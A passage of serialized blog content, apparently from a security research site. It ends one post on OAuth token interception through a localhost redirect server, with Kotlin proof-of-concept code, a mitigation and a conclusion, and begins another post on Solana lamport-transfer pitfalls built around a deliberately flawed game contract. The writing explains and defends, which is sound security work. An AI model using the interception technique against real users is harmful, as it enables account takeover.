startActivity",{"type":23,"tag":481,"props":68288,"children":68289},{"style":525},[68290],{"type":28,"value":68291},"(browserIntent)\n",{"type":23,"tag":481,"props":68293,"children":68294},{"class":483,"line":1291},[68295],{"type":23,"tag":481,"props":68296,"children":68297},{"style":525},[68298],{"type":28,"value":879},{"type":23,"tag":481,"props":68300,"children":68301},{"class":483,"line":1299},[68302],{"type":23,"tag":481,"props":68303,"children":68304},{"emptyLinePlaceholder":15},[68305],{"type":28,"value":1210},{"type":23,"tag":481,"props":68307,"children":68308},{"class":483,"line":1329},[68309,68314,68318,68323],{"type":23,"tag":481,"props":68310,"children":68311},{"style":497},[68312],{"type":28,"value":68313}," private",{"type":23,"tag":481,"props":68315,"children":68316},{"style":497},[68317],{"type":28,"value":3684},{"type":23,"tag":481,"props":68319,"children":68320},{"style":610},[68321],{"type":28,"value":68322}," startWebServer",{"type":23,"tag":481,"props":68324,"children":68325},{"style":525},[68326],{"type":28,"value":13226},{"type":23,"tag":481,"props":68328,"children":68329},{"class":483,"line":1337},[68330,68335,68340,68344,68349],{"type":23,"tag":481,"props":68331,"children":68332},{"style":610},[68333],{"type":28,"value":68334}," embeddedServer",{"type":23,"tag":481,"props":68336,"children":68337},{"style":525},[68338],{"type":28,"value":68339},"(CIO, port ",{"type":23,"tag":481,"props":68341,"children":68342},{"style":514},[68343],{"type":28,"value":603},{"type":23,"tag":481,"props":68345,"children":68346},{"style":551},[68347],{"type":28,"value":68348}," 3000",{"type":23,"tag":481,"props":68350,"children":68351},{"style":525},[68352],{"type":28,"value":12292},{"type":23,"tag":481,"props":68354,"children":68355},{"class":483,"line":1369},[68356,68361],{"type":23,"tag":481,"props":68357,"children":68358},{"style":610},[68359],{"type":28,"value":68360}," routing",{"type":23,"tag":481,"props":68362,"children":68363},{"style":525},[68364],{"type":28,"value":809},{"type":23,"tag":481,"props":68366,"children":68367},{"class":483,"line":1377},[68368,68373,68377,68382],{"type":23,"tag":481,"props":68369,"children":68370},{"style":497},[68371],{"type":28,"value":68372}," get",{"type":23,"tag":481,"props":68374,"children":68375},{"style":525},[68376],{"type":28,"value":618},{"type":23,"tag":481,"props":68378,"children":68379},{"style":1805},[68380],{"type":28,"value":68381},"\"{...}\"",{"type":23,"tag":481,"props":68383,"children":68384},{"style":525},[68385],{"type":28,"value":12292},{"type":23,"tag":481,"props":68387,"children":68388},{"class":483,"line":1437},[68389,68394,68399],{"type":23,"tag":481,"props":68390,"children":68391},{"style":525},[68392],{"type":28,"value":68393}," call.",{"type":23,"tag":481,"props":68395,"children":68396},{"style":610},[68397],{"type":28,"value":68398},"respondHtml",{"type":23,"tag":481,"props":68400,"children":68401},{"style":525},[68402],{"type":28,"value":809},{"type":23,"tag":481,"props":68404,"children":68405},{"class":483,"line":6528},[68406,68411],{"type":23,"tag":481,"props":68407,"children":68408},{"style":610},[68409],{"type":28,"value":68410}," head",{"type":23,"tag":481,"props":68412,"children":68413},{"style":525},[68414],{"type":28,"value":809},{"type":23,"tag":481,"props":68416,"children":68417},{"class":483,"line":6546},[68418,68423,68428,68432,68437],{"type":23,"tag":481,"props":68419,"children":68420},{"style":610},[68421],{"type":28,"value":68422}," meta",{"type":23,"tag":481,"props":68424,"children":68425},{"style":525},[68426],{"type":28,"value":68427},"(charset ",{"type":23,"tag":481,"props":68429,"children":68430},{"style":514},[68431],{"type":28,"value":603},{"type":23,"tag":481,"props":68433,"children":68434},{"style":1805},[68435],{"type":28,"value":68436}," \"UTF-8\"",{"type":23,"tag":481,"props":68438,"children":68439},{"style":525},[68440],{"type":28,"value":675},{"type":23,"tag":481,"props":68442,"children":68443},{"class":483,"line":6591},[68444,68448,68453,68457,68462,68467,68471,68476],{"type":23,"tag":481,"props":68445,"children":68446},{"style":610},[68447],{"type":28,"value":68422},{"type":23,"tag":481,"props":68449,"children":68450},{"style":525},[68451],{"type":28,"value":68452},"(name ",{"type":23,"tag":481,"props":68454,"children":68455},{"style":514},[68456],{"type":28,"value":603},{"type":23,"tag":481,"props":68458,"children":68459},{"style":1805},[68460],{"type":28,"value":68461}," \"viewport\"",{"type":23,"tag":481,"props":68463,"children":68464},{"style":525},[68465],{"type":28,"value":68466},", content ",{"type":23,"tag":481,"props":68468,"children":68469},{"style":514},[68470],{"type":28,"value":603},{"type":23,"tag":481,"props":68472,"children":68473},{"style":1805},[68474],{"type":28,"value":68475}," \"width=device-width, initial-scale=1.0\"",{"type":23,"tag":481,"props":68477,"children":68478},{"style":525},[68479],{"type":28,"value":675},{"type":23,"tag":481,"props":68481,"children":68482},{"class":483,"line":6697},[68483,68488,68492,68497],{"type":23,"tag":481,"props":68484,"children":68485},{"style":610},[68486],{"type":28,"value":68487}," title",{"type":23,"tag":481,"props":68489,"children":68490},{"style":525},[68491],{"type":28,"value":618},{"type":23,"tag":481,"props":68493,"children":68494},{"style":1805},[68495],{"type":28,"value":68496},"\"OAuth Redirect\"",{"type":23,"tag":481,"props":68498,"children":68499},{"style":525},[68500],{"type":28,"value":675},{"type":23,"tag":481,"props":68502,"children":68503},{"class":483,"line":21008},[68504],{"type":23,"tag":481,"props":68505,"children":68506},{"style":525},[68507],{"type":28,"value":68508}," }\n",{"type":23,"tag":481,"props":68510,"children":68511},{"class":483,"line":21043},[68512,68517],{"type":23,"tag":481,"props":68513,"children":68514},{"style":610},[68515],{"type":28,"value":68516}," body",{"type":23,"tag":481,"props":68518,"children":68519},{"style":525},[68520],{"type":28,"value":809},{"type":23,"tag":481,"props":68522,"children":68523},{"class":483,"line":21051},[68524,68529,68533,68537,68542],{"type":23,"tag":481,"props":68525,"children":68526},{"style":610},[68527],{"type":28,"value":68528}," h1",{"type":23,"tag":481,"props":68530,"children":68531},{"style":525},[68532],{"type":28,"value":7069},{"type":23,"tag":481,"props":68534,"children":68535},{"style":514},[68536],{"type":28,"value":1930},{"type":23,"tag":481,"props":68538,"children":68539},{"style":1805},[68540],{"type":28,"value":68541},"\"Google OAuth Redirect\"",{"type":23,"tag":481,"props":68543,"children":68544},{"style":525},[68545],{"type":28,"value":7079},{"type":23,"tag":481,"props":68547,"children":68548},{"class":483,"line":21059},[68549,68554],{"type":23,"tag":481,"props":68550,"children":68551},{"style":610},[68552],{"type":28,"value":68553}," script",{"type":23,"tag":481,"props":68555,"children":68556},{"style":525},[68557],{"type":28,"value":809},{"type":23,"tag":481,"props":68559,"children":68560},{"class":483,"line":21068},[68561,68566],{"type":23,"tag":481,"props":68562,"children":68563},{"style":514},[68564],{"type":28,"value":68565}," +",{"type":23,"tag":481,"props":68567,"children":68568},{"style":1805},[68569],{"type":28,"value":68570},"\"document.body.innerText = location.search;\"\n",{"type":23,"tag":481,"props":68572,"children":68573},{"class":483,"line":21110},[68574],{"type":23,"tag":481,"props":68575,"children":68576},{"style":525},[68577],{"type":28,"value":68578}," }\n",{"type":23,"tag":481,"props":68580,"children":68581},{"class":483,"line":21143},[68582],{"type":23,"tag":481,"props":68583,"children":68584},{"style":525},[68585],{"type":28,"value":68508},{"type":23,"tag":481,"props":68587,"children":68588},{"class":483,"line":21151},[68589],{"type":23,"tag":481,"props":68590,"children":68591},{"style":525},[68592],{"type":28,"value":68593}," }\n",{"type":23,"tag":481,"props":68595,"children":68596},{"class":483,"line":21159},[68597],{"type":23,"tag":481,"props":68598,"children":68599},{"style":525},[68600],{"type":28,"value":68601}," }\n",{"type":23,"tag":481,"props":68603,"children":68604},{"class":483,"line":21168},[68605],{"type":23,"tag":481,"props":68606,"children":68607},{"style":525},[68608],{"type":28,"value":56412},{"type":23,"tag":481,"props":68610,"children":68611},{"class":483,"line":21244},[68612,68617,68622,68627,68631,68635],{"type":23,"tag":481,"props":68613,"children":68614},{"style":525},[68615],{"type":28,"value":68616}," }.",{"type":23,"tag":481,"props":68618,"children":68619},{"style":610},[68620],{"type":28,"value":68621},"start",{"type":23,"tag":481,"props":68623,"children":68624},{"style":525},[68625],{"type":28,"value":68626},"(wait ",{"type":23,"tag":481,"props":68628,"children":68629},{"style":514},[68630],{"type":28,"value":603},{"type":23,"tag":481,"props":68632,"children":68633},{"style":497},[68634],{"type":28,"value":9956},{"type":23,"tag":481,"props":68636,"children":68637},{"style":525},[68638],{"type":28,"value":675},{"type":23,"tag":481,"props":68640,"children":68641},{"class":483,"line":21277},[68642],{"type":23,"tag":481,"props":68643,"children":68644},{"style":525},[68645],{"type":28,"value":879},{"type":23,"tag":481,"props":68647,"children":68648},{"class":483,"line":21285},[68649],{"type":23,"tag":481,"props":68650,"children":68651},{"style":525},[68652],{"type":28,"value":1443},{"type":23,"tag":24,"props":68654,"children":68655},{},[68656],{"type":28,"value":68657},"The code essentially creates a localhost web server and redirects the user to the OAuth authorization screen, which can be automatically bypassed under certain conditionswithout any user interaction. Once the authorization process is completed, the OAuth flow redirects the user back to the localhost server, including the secret authorization token in the query string.",{"type":23,"tag":24,"props":68659,"children":68660},{},[68661],{"type":28,"value":68662},"Since the attacker controls the localhost server, they can intercept and extract the token, enabling them to take over the victim's account.",{"type":23,"tag":7092,"props":68664,"children":68666},{"id":68665},"mitigation-1",[68667],{"type":28,"value":37855},{"type":23,"tag":24,"props":68669,"children":68670},{},[68671,68673,68678],{"type":28,"value":68672},"As a mitigation measure, it is crucial to ensure that localhost servers are not whitelisted in the OAuth ",{"type":23,"tag":64,"props":68674,"children":68676},{"className":68675},[],[68677],{"type":28,"value":67295},{"type":28,"value":68679}," parameter. If whitelisting localhost is necessary due to specific business requirements, a custom solution must be carefully designed and implemented to safeguard the account security of all users.",{"type":23,"tag":31,"props":68681,"children":68682},{"id":26445},[68683],{"type":28,"value":16443},{"type":23,"tag":24,"props":68685,"children":68686},{},[68687],{"type":28,"value":68688},"In this article, we explored three lesser-known classes of vulnerabilities present in Web2 authentication flows utilized by Web3 dApps, shedding light on critical but often overlooked security risks. Authentication processes are inherently complex, and this complexity leaves room for vulnerabilities to persist unnoticed in applications.",{"type":23,"tag":24,"props":68690,"children":68691},{},[68692],{"type":28,"value":68693},"By uncovering and analyzing these vulnerabilities, we aim to stress the necessity of adopting a robust, holistic approach to authentication security. As Web3 continues to evolve, bridging the gap between traditional Web2 frameworks and the decentralized Web3 ecosystem is not just an opportunity but an imperative to safeguard users and their data.",{"type":23,"tag":2918,"props":68695,"children":68696},{},[68697],{"type":28,"value":2922},{"title":7,"searchDepth":351,"depth":351,"links":68699},[68700,68707,68712,68715],{"id":67063,"depth":351,"text":67066,"children":68701},[68702,68703,68704,68705,68706],{"id":67074,"depth":531,"text":67077},{"id":67101,"depth":531,"text":67104},{"id":67162,"depth":531,"text":67165},{"id":67219,"depth":531,"text":67222},{"id":67318,"depth":531,"text":67321},{"id":67364,"depth":351,"text":67367,"children":68708},[68709,68710,68711],{"id":67370,"depth":531,"text":67373},{"id":67397,"depth":531,"text":67400},{"id":37852,"depth":531,"text":37855},{"id":67846,"depth":351,"text":67849,"children":68713},[68714],{"id":68665,"depth":531,"text":37855},{"id":26445,"depth":351,"text":16443},"content:blog:2025-03-07-subverting-web2-authentication-in-web3.md","blog/2025-03-07-subverting-web2-authentication-in-web3.md","blog/2025-03-07-subverting-web2-authentication-in-web3",{"_path":68720,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"title":68721,"description":68722,"author":37971,"image":68723,"date":68725,"isFeatured":15,"tags":68726,"onBlogPage":15,"body":68727,"_type":358,"_id":73381,"_source":360,"_file":73382,"_stem":73383,"_extension":363},"/blog/2025-05-14-king-of-the-sol","Solana: The hidden dangers of lamport transfers","Solana’s lamport transfer logic hides dangerous edge cases — from rent-exemption quirks to write-demotion traps. We dissect a deceptively simple smart contract game to expose how transfers to arbitrary accounts can silently fail, brick your program, or crown an eternal king.",{"src":68724,"height":11111,"width":11111},"/posts/king-of-the-sol/king-of-the-sol.png","2025-05-14",[17],{"type":20,"children":68728,"toc":73370},[68729,68733,68738,68752,68758,68763,68793,68798,68803,69841,69846,69854,69859,69865,69871,69883,69916,69928,69941,69953,70398,70403,70449,70455,70460,70547,70552,70566,70579,71242,71247,71259,71265,71276,71288,71442,71456,71475,71496,71502,71507,71852,71857,71863,71882,71896,72518,72523,72543,72548,72553,72559,72571,72592,72767,72773,72778,73079,73100,73112,73124,73208,73228,73240,73246,73258,73264,73269,73292,73304,73310,73322,73327,73333,73338,73343,73361,73366],{"type":23,"tag":31,"props":68730,"children":68731},{"id":26528},[68732],{"type":28,"value":26531},{"type":23,"tag":24,"props":68734,"children":68735},{},[68736],{"type":28,"value":68737},"Is it safe to transfer lamports to an arbitrary address on Solana? The answer might surprise you.",{"type":23,"tag":24,"props":68739,"children":68740},{},[68741,68743,68750],{"type":28,"value":68742},"In this post, we explore a deceptively simple smart contract game inspired by ",{"type":23,"tag":190,"props":68744,"children":68747},{"href":68745,"rel":68746},"https://www.kingoftheether.com/thrones/kingoftheether/index.html",[194],[68748],{"type":28,"value":68749},"King of the Ether",{"type":28,"value":68751},". Through it, we’ll highlight subtle pitfalls in Solana’s account model that can brick your program — especially when it comes to transferring lamports.",{"type":23,"tag":31,"props":68753,"children":68755},{"id":68754},"the-game-king-of-the-sol",[68756],{"type":28,"value":68757},"The Game: King of the SOL",{"type":23,"tag":24,"props":68759,"children":68760},{},[68761],{"type":28,"value":68762},"The game works like this:",{"type":23,"tag":14178,"props":68764,"children":68765},{},[68766,68778,68783,68788],{"type":23,"tag":77,"props":68767,"children":68768},{},[68769,68771,68776],{"type":28,"value":68770},"Anyone can become the ",{"type":23,"tag":2875,"props":68772,"children":68773},{},[68774],{"type":28,"value":68775},"king",{"type":28,"value":68777}," by bidding at least 2× the previous bid.",{"type":23,"tag":77,"props":68779,"children":68780},{},[68781],{"type":28,"value":68782},"The old king is reimbursed 95% of their bid.",{"type":23,"tag":77,"props":68784,"children":68785},{},[68786],{"type":28,"value":68787},"The remaining 5% goes into a prize pot.",{"type":23,"tag":77,"props":68789,"children":68790},{},[68791],{"type":28,"value":68792},"If the reigning king survives for 10 days without being dethroned, they can claim the entire pot.",{"type":23,"tag":24,"props":68794,"children":68795},{},[68796],{"type":28,"value":68797},"Simple, right?",{"type":23,"tag":24,"props":68799,"children":68800},{},[68801],{"type":28,"value":68802},"This is the core logic:",{"type":23,"tag":435,"props":68804,"children":68806},{"className":475,"code":68805,"language":474,"meta":7,"style":7},"#[derive(Accounts)]\npub struct ChangeKing\u003C'info> {\n #[account(mut)]\n pub throne: Account\u003C'info, Throne>,\n\n /// CHECK: old_king gets a 95% refund, so ensure its writable.\n #[account(mut, constraint = old_king.key() == throne.king)]\n pub old_king: AccountInfo\u003C'info>,\n\n /// CHECK: any writable account is allowed as a new king.\n #[account(mut)]\n pub new_king: AccountInfo\u003C'info>,\n\n #[account(mut)]\n pub payer: Signer\u003C'info>,\n}\n\n#[program]\npub mod king_of_the_sol {\n pub fn change_king(ctx: Context\u003CChangeKing>, bid_amount: u64) -> Result\u003C()> {\n // Check that bid_amount is at least 2x last_bid_amount\n assert!(bid_amount >= ctx.accounts.throne.last_bid_amount * 2);\n transfer_from_signer(\n &ctx.accounts.payer,\n &ctx.accounts.throne.to_account_info(),\n bid_amount,\n )?;\n\n // Reimburse 95% of the last bid to the old king\n let to_reimburse = (ctx.accounts.throne.last_bid_amount * 9500) / 10000;\n transfer_from_pda(\n &ctx.accounts.throne.to_account_info(),\n &ctx.accounts.old_king,\n to_reimburse,\n )?;\n\n // Set new king\n ctx.accounts.throne.king = ctx.accounts.new_king.key();\n ctx.accounts.throne.last_bid_amount = bid_amount;\n ctx.accounts.throne.last_time = Clock::get()?.unix_timestamp as u64;\n\n Ok(())\n }\n}\n",[68807],{"type":23,"tag":64,"props":68808,"children":68809},{"__ignoreMap":7},[68810,68825,68853,68868,68909,68916,68924,68975,69006,69013,69021,69036,69068,69075,69090,69121,69128,69135,69143,69160,69234,69242,69303,69315,69343,69383,69395,69411,69418,69426,69500,69512,69551,69579,69591,69606,69613,69621,69691,69735,69809,69816,69827,69834],{"type":23,"tag":481,"props":68811,"children":68812},{"class":483,"line":484},[68813,68817,68821],{"type":23,"tag":481,"props":68814,"children":68815},{"style":525},[68816],{"type":28,"value":20336},{"type":23,"tag":481,"props":68818,"children":68819},{"style":943},[68820],{"type":28,"value":20341},{"type":23,"tag":481,"props":68822,"children":68823},{"style":525},[68824],{"type":28,"value":17756},{"type":23,"tag":481,"props":68826,"children":68827},{"class":483,"line":351},[68828,68832,68836,68841,68845,68849],{"type":23,"tag":481,"props":68829,"children":68830},{"style":497},[68831],{"type":28,"value":11178},{"type":23,"tag":481,"props":68833,"children":68834},{"style":497},[68835],{"type":28,"value":18649},{"type":23,"tag":481,"props":68837,"children":68838},{"style":943},[68839],{"type":28,"value":68840}," ChangeKing",{"type":23,"tag":481,"props":68842,"children":68843},{"style":525},[68844],{"type":28,"value":20421},{"type":23,"tag":481,"props":68846,"children":68847},{"style":943},[68848],{"type":28,"value":20426},{"type":23,"tag":481,"props":68850,"children":68851},{"style":525},[68852],{"type":28,"value":4759},{"type":23,"tag":481,"props":68854,"children":68855},{"class":483,"line":531},[68856,68860,68864],{"type":23,"tag":481,"props":68857,"children":68858},{"style":525},[68859],{"type":28,"value":20628},{"type":23,"tag":481,"props":68861,"children":68862},{"style":497},[68863],{"type":28,"value":1259},{"type":23,"tag":481,"props":68865,"children":68866},{"style":525},[68867],{"type":28,"value":17756},{"type":23,"tag":481,"props":68869,"children":68870},{"class":483,"line":567},[68871,68875,68880,68884,68888,68892,68896,68900,68905],{"type":23,"tag":481,"props":68872,"children":68873},{"style":497},[68874],{"type":28,"value":18341},{"type":23,"tag":481,"props":68876,"children":68877},{"style":508},[68878],{"type":28,"value":68879}," throne",{"type":23,"tag":481,"props":68881,"children":68882},{"style":514},[68883],{"type":28,"value":287},{"type":23,"tag":481,"props":68885,"children":68886},{"style":943},[68887],{"type":28,"value":20593},{"type":23,"tag":481,"props":68889,"children":68890},{"style":525},[68891],{"type":28,"value":20421},{"type":23,"tag":481,"props":68893,"children":68894},{"style":943},[68895],{"type":28,"value":20426},{"type":23,"tag":481,"props":68897,"children":68898},{"style":525},[68899],{"type":28,"value":588},{"type":23,"tag":481,"props":68901,"children":68902},{"style":943},[68903],{"type":28,"value":68904},"Throne",{"type":23,"tag":481,"props":68906,"children":68907},{"style":525},[68908],{"type":28,"value":3615},{"type":23,"tag":481,"props":68910,"children":68911},{"class":483,"line":678},[68912],{"type":23,"tag":481,"props":68913,"children":68914},{"emptyLinePlaceholder":15},[68915],{"type":28,"value":1210},{"type":23,"tag":481,"props":68917,"children":68918},{"class":483,"line":784},[68919],{"type":23,"tag":481,"props":68920,"children":68921},{"style":488},[68922],{"type":28,"value":68923}," /// CHECK: old_king gets a 95% refund, so ensure its writable.\n",{"type":23,"tag":481,"props":68925,"children":68926},{"class":483,"line":812},[68927,68931,68935,68940,68944,68949,68953,68958,68962,68966,68970],{"type":23,"tag":481,"props":68928,"children":68929},{"style":525},[68930],{"type":28,"value":20628},{"type":23,"tag":481,"props":68932,"children":68933},{"style":497},[68934],{"type":28,"value":1259},{"type":23,"tag":481,"props":68936,"children":68937},{"style":525},[68938],{"type":28,"value":68939},", constraint ",{"type":23,"tag":481,"props":68941,"children":68942},{"style":514},[68943],{"type":28,"value":603},{"type":23,"tag":481,"props":68945,"children":68946},{"style":525},[68947],{"type":28,"value":68948}," old_king",{"type":23,"tag":481,"props":68950,"children":68951},{"style":514},[68952],{"type":28,"value":199},{"type":23,"tag":481,"props":68954,"children":68955},{"style":525},[68956],{"type":28,"value":68957},"key() ",{"type":23,"tag":481,"props":68959,"children":68960},{"style":514},[68961],{"type":28,"value":6055},{"type":23,"tag":481,"props":68963,"children":68964},{"style":525},[68965],{"type":28,"value":68879},{"type":23,"tag":481,"props":68967,"children":68968},{"style":514},[68969],{"type":28,"value":199},{"type":23,"tag":481,"props":68971,"children":68972},{"style":525},[68973],{"type":28,"value":68974},"king)]\n",{"type":23,"tag":481,"props":68976,"children":68977},{"class":483,"line":825},[68978,68982,68986,68990,68994,68998,69002],{"type":23,"tag":481,"props":68979,"children":68980},{"style":497},[68981],{"type":28,"value":18341},{"type":23,"tag":481,"props":68983,"children":68984},{"style":508},[68985],{"type":28,"value":68948},{"type":23,"tag":481,"props":68987,"children":68988},{"style":514},[68989],{"type":28,"value":287},{"type":23,"tag":481,"props":68991,"children":68992},{"style":943},[68993],{"type":28,"value":22909},{"type":23,"tag":481,"props":68995,"children":68996},{"style":525},[68997],{"type":28,"value":20421},{"type":23,"tag":481,"props":68999,"children":69000},{"style":943},[69001],{"type":28,"value":20426},{"type":23,"tag":481,"props":69003,"children":69004},{"style":525},[69005],{"type":28,"value":3615},{"type":23,"tag":481,"props":69007,"children":69008},{"class":483,"line":843},[69009],{"type":23,"tag":481,"props":69010,"children":69011},{"emptyLinePlaceholder":15},[69012],{"type":28,"value":1210},{"type":23,"tag":481,"props":69014,"children":69015},{"class":483,"line":864},[69016],{"type":23,"tag":481,"props":69017,"children":69018},{"style":488},[69019],{"type":28,"value":69020}," /// CHECK: any writable account is allowed as a new king.\n",{"type":23,"tag":481,"props":69022,"children":69023},{"class":483,"line":873},[69024,69028,69032],{"type":23,"tag":481,"props":69025,"children":69026},{"style":525},[69027],{"type":28,"value":20628},{"type":23,"tag":481,"props":69029,"children":69030},{"style":497},[69031],{"type":28,"value":1259},{"type":23,"tag":481,"props":69033,"children":69034},{"style":525},[69035],{"type":28,"value":17756},{"type":23,"tag":481,"props":69037,"children":69038},{"class":483,"line":1125},[69039,69043,69048,69052,69056,69060,69064],{"type":23,"tag":481,"props":69040,"children":69041},{"style":497},[69042],{"type":28,"value":18341},{"type":23,"tag":481,"props":69044,"children":69045},{"style":508},[69046],{"type":28,"value":69047}," new_king",{"type":23,"tag":481,"props":69049,"children":69050},{"style":514},[69051],{"type":28,"value":287},{"type":23,"tag":481,"props":69053,"children":69054},{"style":943},[69055],{"type":28,"value":22909},{"type":23,"tag":481,"props":69057,"children":69058},{"style":525},[69059],{"type":28,"value":20421},{"type":23,"tag":481,"props":69061,"children":69062},{"style":943},[69063],{"type":28,"value":20426},{"type":23,"tag":481,"props":69065,"children":69066},{"style":525},[69067],{"type":28,"value":3615},{"type":23,"tag":481,"props":69069,"children":69070},{"class":483,"line":1142},[69071],{"type":23,"tag":481,"props":69072,"children":69073},{"emptyLinePlaceholder":15},[69074],{"type":28,"value":1210},{"type":23,"tag":481,"props":69076,"children":69077},{"class":483,"line":1159},[69078,69082,69086],{"type":23,"tag":481,"props":69079,"children":69080},{"style":525},[69081],{"type":28,"value":20628},{"type":23,"tag":481,"props":69083,"children":69084},{"style":497},[69085],{"type":28,"value":1259},{"type":23,"tag":481,"props":69087,"children":69088},{"style":525},[69089],{"type":28,"value":17756},{"type":23,"tag":481,"props":69091,"children":69092},{"class":483,"line":1172},[69093,69097,69101,69105,69109,69113,69117],{"type":23,"tag":481,"props":69094,"children":69095},{"style":497},[69096],{"type":28,"value":18341},{"type":23,"tag":481,"props":69098,"children":69099},{"style":508},[69100],{"type":28,"value":39761},{"type":23,"tag":481,"props":69102,"children":69103},{"style":514},[69104],{"type":28,"value":287},{"type":23,"tag":481,"props":69106,"children":69107},{"style":943},[69108],{"type":28,"value":20657},{"type":23,"tag":481,"props":69110,"children":69111},{"style":525},[69112],{"type":28,"value":20421},{"type":23,"tag":481,"props":69114,"children":69115},{"style":943},[69116],{"type":28,"value":20426},{"type":23,"tag":481,"props":69118,"children":69119},{"style":525},[69120],{"type":28,"value":3615},{"type":23,"tag":481,"props":69122,"children":69123},{"class":483,"line":1181},[69124],{"type":23,"tag":481,"props":69125,"children":69126},{"style":525},[69127],{"type":28,"value":1443},{"type":23,"tag":481,"props":69129,"children":69130},{"class":483,"line":1204},[69131],{"type":23,"tag":481,"props":69132,"children":69133},{"emptyLinePlaceholder":15},[69134],{"type":28,"value":1210},{"type":23,"tag":481,"props":69136,"children":69137},{"class":483,"line":1213},[69138],{"type":23,"tag":481,"props":69139,"children":69140},{"style":525},[69141],{"type":28,"value":69142},"#[program]\n",{"type":23,"tag":481,"props":69144,"children":69145},{"class":483,"line":1222},[69146,69150,69155],{"type":23,"tag":481,"props":69147,"children":69148},{"style":497},[69149],{"type":28,"value":11178},{"type":23,"tag":481,"props":69151,"children":69152},{"style":497},[69153],{"type":28,"value":69154}," mod",{"type":23,"tag":481,"props":69156,"children":69157},{"style":525},[69158],{"type":28,"value":69159}," king_of_the_sol {\n",{"type":23,"tag":481,"props":69161,"children":69162},{"class":483,"line":1291},[69163,69167,69171,69176,69180,69184,69188,69192,69196,69201,69205,69210,69214,69218,69222,69226,69230],{"type":23,"tag":481,"props":69164,"children":69165},{"style":497},[69166],{"type":28,"value":18341},{"type":23,"tag":481,"props":69168,"children":69169},{"style":497},[69170],{"type":28,"value":11183},{"type":23,"tag":481,"props":69172,"children":69173},{"style":610},[69174],{"type":28,"value":69175}," change_king",{"type":23,"tag":481,"props":69177,"children":69178},{"style":525},[69179],{"type":28,"value":618},{"type":23,"tag":481,"props":69181,"children":69182},{"style":508},[69183],{"type":28,"value":17778},{"type":23,"tag":481,"props":69185,"children":69186},{"style":514},[69187],{"type":28,"value":287},{"type":23,"tag":481,"props":69189,"children":69190},{"style":943},[69191],{"type":28,"value":17787},{"type":23,"tag":481,"props":69193,"children":69194},{"style":525},[69195],{"type":28,"value":3282},{"type":23,"tag":481,"props":69197,"children":69198},{"style":943},[69199],{"type":28,"value":69200},"ChangeKing",{"type":23,"tag":481,"props":69202,"children":69203},{"style":525},[69204],{"type":28,"value":4108},{"type":23,"tag":481,"props":69206,"children":69207},{"style":508},[69208],{"type":28,"value":69209},"bid_amount",{"type":23,"tag":481,"props":69211,"children":69212},{"style":514},[69213],{"type":28,"value":287},{"type":23,"tag":481,"props":69215,"children":69216},{"style":943},[69217],{"type":28,"value":3336},{"type":23,"tag":481,"props":69219,"children":69220},{"style":525},[69221],{"type":28,"value":598},{"type":23,"tag":481,"props":69223,"children":69224},{"style":514},[69225],{"type":28,"value":11245},{"type":23,"tag":481,"props":69227,"children":69228},{"style":943},[69229],{"type":28,"value":11250},{"type":23,"tag":481,"props":69231,"children":69232},{"style":525},[69233],{"type":28,"value":17829},{"type":23,"tag":481,"props":69235,"children":69236},{"class":483,"line":1299},[69237],{"type":23,"tag":481,"props":69238,"children":69239},{"style":488},[69240],{"type":28,"value":69241}," // Check that bid_amount is at least 2x last_bid_amount\n",{"type":23,"tag":481,"props":69243,"children":69244},{"class":483,"line":1329},[69245,69249,69253,69257,69261,69265,69269,69273,69277,69282,69286,69291,69295,69299],{"type":23,"tag":481,"props":69246,"children":69247},{"style":610},[69248],{"type":28,"value":61976},{"type":23,"tag":481,"props":69250,"children":69251},{"style":525},[69252],{"type":28,"value":618},{"type":23,"tag":481,"props":69254,"children":69255},{"style":508},[69256],{"type":28,"value":69209},{"type":23,"tag":481,"props":69258,"children":69259},{"style":514},[69260],{"type":28,"value":5781},{"type":23,"tag":481,"props":69262,"children":69263},{"style":508},[69264],{"type":28,"value":23354},{"type":23,"tag":481,"props":69266,"children":69267},{"style":514},[69268],{"type":28,"value":199},{"type":23,"tag":481,"props":69270,"children":69271},{"style":525},[69272],{"type":28,"value":12163},{"type":23,"tag":481,"props":69274,"children":69275},{"style":514},[69276],{"type":28,"value":199},{"type":23,"tag":481,"props":69278,"children":69279},{"style":525},[69280],{"type":28,"value":69281},"throne",{"type":23,"tag":481,"props":69283,"children":69284},{"style":514},[69285],{"type":28,"value":199},{"type":23,"tag":481,"props":69287,"children":69288},{"style":525},[69289],{"type":28,"value":69290},"last_bid_amount ",{"type":23,"tag":481,"props":69292,"children":69293},{"style":514},[69294],{"type":28,"value":2120},{"type":23,"tag":481,"props":69296,"children":69297},{"style":551},[69298],{"type":28,"value":5413},{"type":23,"tag":481,"props":69300,"children":69301},{"style":525},[69302],{"type":28,"value":1366},{"type":23,"tag":481,"props":69304,"children":69305},{"class":483,"line":1337},[69306,69311],{"type":23,"tag":481,"props":69307,"children":69308},{"style":610},[69309],{"type":28,"value":69310}," transfer_from_signer",{"type":23,"tag":481,"props":69312,"children":69313},{"style":525},[69314],{"type":28,"value":988},{"type":23,"tag":481,"props":69316,"children":69317},{"class":483,"line":1369},[69318,69322,69326,69330,69334,69338],{"type":23,"tag":481,"props":69319,"children":69320},{"style":514},[69321],{"type":28,"value":5163},{"type":23,"tag":481,"props":69323,"children":69324},{"style":508},[69325],{"type":28,"value":17778},{"type":23,"tag":481,"props":69327,"children":69328},{"style":514},[69329],{"type":28,"value":199},{"type":23,"tag":481,"props":69331,"children":69332},{"style":525},[69333],{"type":28,"value":12163},{"type":23,"tag":481,"props":69335,"children":69336},{"style":514},[69337],{"type":28,"value":199},{"type":23,"tag":481,"props":69339,"children":69340},{"style":525},[69341],{"type":28,"value":69342},"payer,\n",{"type":23,"tag":481,"props":69344,"children":69345},{"class":483,"line":1377},[69346,69350,69354,69358,69362,69366,69370,69374,69379],{"type":23,"tag":481,"props":69347,"children":69348},{"style":514},[69349],{"type":28,"value":5163},{"type":23,"tag":481,"props":69351,"children":69352},{"style":508},[69353],{"type":28,"value":17778},{"type":23,"tag":481,"props":69355,"children":69356},{"style":514},[69357],{"type":28,"value":199},{"type":23,"tag":481,"props":69359,"children":69360},{"style":525},[69361],{"type":28,"value":12163},{"type":23,"tag":481,"props":69363,"children":69364},{"style":514},[69365],{"type":28,"value":199},{"type":23,"tag":481,"props":69367,"children":69368},{"style":525},[69369],{"type":28,"value":69281},{"type":23,"tag":481,"props":69371,"children":69372},{"style":514},[69373],{"type":28,"value":199},{"type":23,"tag":481,"props":69375,"children":69376},{"style":610},[69377],{"type":28,"value":69378},"to_account_info",{"type":23,"tag":481,"props":69380,"children":69381},{"style":525},[69382],{"type":28,"value":1016},{"t